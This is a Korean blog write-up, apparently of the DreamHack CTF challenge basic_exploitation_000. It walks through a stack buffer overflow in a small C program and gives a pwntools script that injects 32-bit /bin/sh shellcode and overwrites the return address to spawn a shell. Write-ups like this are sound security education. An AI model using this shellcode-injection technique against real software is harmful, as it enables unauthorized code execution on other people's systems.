๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - basic_exploitation_000 ํ’€์ด

by Janger 2023. 4. 26.
728x90
๋ฐ˜์‘ํ˜•

 

basic_exploitation_000.c

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ 141 ๋ฐ”์ดํŠธ ํฌ๊ธฐ์˜ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›๊ณ  ์žˆ์ง€๋งŒ ์ž…๋ ฅ์ด ์ €์žฅ๋˜๋Š” ๋ฒ„ํผ์˜ ์‚ฌ์ด์ฆˆ๋Š” 0x80(128 ๋ฐ”์ดํŠธ) ๋ฐ–์— ๋˜์ง€ ์•Š๋Š”๋‹ค. ์ฆ‰ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๋Š” ์˜๋ฏธ๋‹ค. 

๊ฒŒ๋‹ค๊ฐ€ ํ”„๋ฆฐํŠธ ์ถœ๋ ฅ์œผ๋กœ buf์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ ๋Œ€๋†“๊ณ  ์•Œ๋ ค์ฃผ๋‹ˆ return ์‹œ์— buf์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋กœ ๊ฐ€์„œ ๋‚ด๊ฐ€ ์ž‘์„ฑํ•œ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ํ•˜๋Š” ๊ฒƒ์ด ๋ชฉ์ ์ด๋‹ค. 

 

 

ํŒŒ์ผ ๋ณดํ˜ธ ๊ธฐ๋ฒ• ํ™•์ธ(checksec)

 

STACK CANARY๊ฐ€ ํ™œ์„ฑํ™”ํ•˜์ง€ ์•Š์€ ๊ฒƒ์œผ๋กœ ๋ณด์•„ Return Address Overwrite๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ, NX ๋ณดํ˜ธ ๊ธฐ๋ฒ•๋„ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒƒ์„ ๋ณด๋ฉด ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•œ ์‹คํ–‰ ํŒŒ์ผ์ด๋‹ค. 

 

NX-Bit ( Never eXecute Bit , ์‹คํ–‰ ๋ฐฉ์ง€ ๋น„ํŠธ )๋ž€?
ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์–ด๋‚˜ ์ฝ”๋“œ ๋˜๋Š” ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์œ„ํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋”ฐ๋กœ ๋ถ„๋ฆฌํ•˜๋Š” CPU์˜ ๊ธฐ์ˆ 
NXํŠน์„ฑ์œผ๋กœ ์ง€์ •๋œ ๋ชจ๋“  ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์—ญ์€ ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์œ„ํ•ด์„œ๋งŒ ์‚ฌ์šฉ๋˜๋ฉฐ, ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์–ด๊ฐ€ ๊ทธ๊ณณ์— ์ƒ์ฃผํ•˜์ง€ ์•Š์Œ์œผ๋กœ์จ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ๋งŒ๋“ค์–ด ์ค€๋‹ค. 

์ถœ์ฒ˜: 

https://c0wb3ll.tistory.com/entry/%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8-%EA%B8%B0%EB%B2%95-NX-Bit

 

๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ• (NX-Bit)

๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ• ( NX-Bit ) ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ• ์ข…๋ฅ˜ NX Bit ( MS : DEP ) ASLR Canaries RELRO PIE NX-Bit ( MS : DEP )? NX-Bit ( Never eXecute Bit , ์‹คํ–‰ ๋ฐฉ์ง€ ๋น„ํŠธ )๋ž€? ํ”„๋กœ์„ธ์Šค ๋ช…๋ น์–ด๋‚˜ ์ฝ”๋“œ ๋˜๋Š” ๋ฐ์ดํ„ฐ ์ €์žฅ์„ ์œ„ํ•œ

c0wb3ll.tistory.com

 

exploit.py

 

from pwn import *

sh = process("./basic_exploitation_000")
# sh = remote("host3.dreamhack.games", 11834)

sh.recvuntil("(")
addr = int( sh.recvline().decode().split(')')[0], 16 )

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload = shellcode
payload += b"b" * ( 128 + 4 - len(shellcode) )
payload +=  p32(addr)

sh.sendline(payload)

sh.interactive()

 

 

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ์ž‘์„ฑ๋œ 32๋น„ํŠธ ํ™˜๊ฒฝ ์‰˜์ฝ”๋“œ์ด๋‹ค. 

 

 

payload += b"b" * ( 128 + 4 - len(shellcode) )

payload ๋ณ€์ˆ˜์— ๋ฒ„ํผ๋ฅผ ์ฑ„์šฐ๊ธฐ ์œ„ํ•ด ์ž„์˜์˜ ๊ฐ’์ธ "b"๋ฅผ 128 + 4 - len(shellcode) ๋งŒํผ ์ฑ„์›Œ ๋„ฃ์—ˆ๋‹ค. 

์—ฌ๊ธฐ์„œ 128์€ buf์˜ ํฌ๊ธฐ๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, 4๋Š” SFP๋ฅผ ์˜๋ฏธํ•œ๋‹ค. 

payload +=  p32(addr)

๋งˆ์ง€๋ง‰์—๋Š” buf์˜ ์‹œ์ž‘ ์ฃผ์†Œ๋ฅผ 32๋น„ํŠธ ํ˜•ํƒœ ๋ฆฌํ‹€ ์—”๋””์–ธ์œผ๋กœ ํŒจํ‚นํ•œ ๋‹ค์Œ ํŽ˜์ด๋กœ๋“œ์— ํฌํ•จํ•ด ์ค€๋‹ค. 

 

 

์‹œ์Šคํ…œ ์‰˜ ํš๋“

 

์ž‘์„ฑ์„ ํ•œ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ์•Œ์•„์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•ด ์ธํ„ฐ๋ ‰ํ‹ฐ๋ธŒ ๋ชจ๋“œ๋กœ ๋ฐ”๋€Œ๋ฉด์„œ ๊ณต๊ฒฉ ๋Œ€์ƒ์˜ ์‰˜์„ ํš๋“์— ์„ฑ๊ณตํ•œ๋‹ค. 

728x90
๋ฐ˜์‘ํ˜•